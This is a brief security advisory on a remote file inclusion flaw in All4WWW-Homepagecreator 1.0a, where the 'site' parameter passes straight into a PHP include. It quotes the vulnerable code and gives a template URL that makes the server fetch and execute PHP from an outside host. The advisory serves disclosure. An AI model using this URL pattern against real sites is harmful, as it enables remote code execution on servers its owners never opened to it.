All4WWW-Homepagecreator site Parameter Command Execution
------------------------------------------------------------------------
SUMMARY
<http://www.all4www.com/> All4WWW-Homepagecreator is "an easy to use home
page creator program". Due to improper usage of PHP routines the All4WWW
Homepagecreator can be caused to include external PHP code and execute its
content via the 'site' parameter.
DETAILS
Vulnerable Systems:
* All4WWW-Homepagecreator version 1.0a
Vulnerable code:
The following code can be found in the index.php file:
..
if(!$site) {$site="home";}
include "$site.dat";
..
This allows an attacker to supply a URL similar to:
http://[vuln-host]/index.php?site=http://[host]/some-file
Which in turn will cause the site to include an external PHP file and
execute its content.
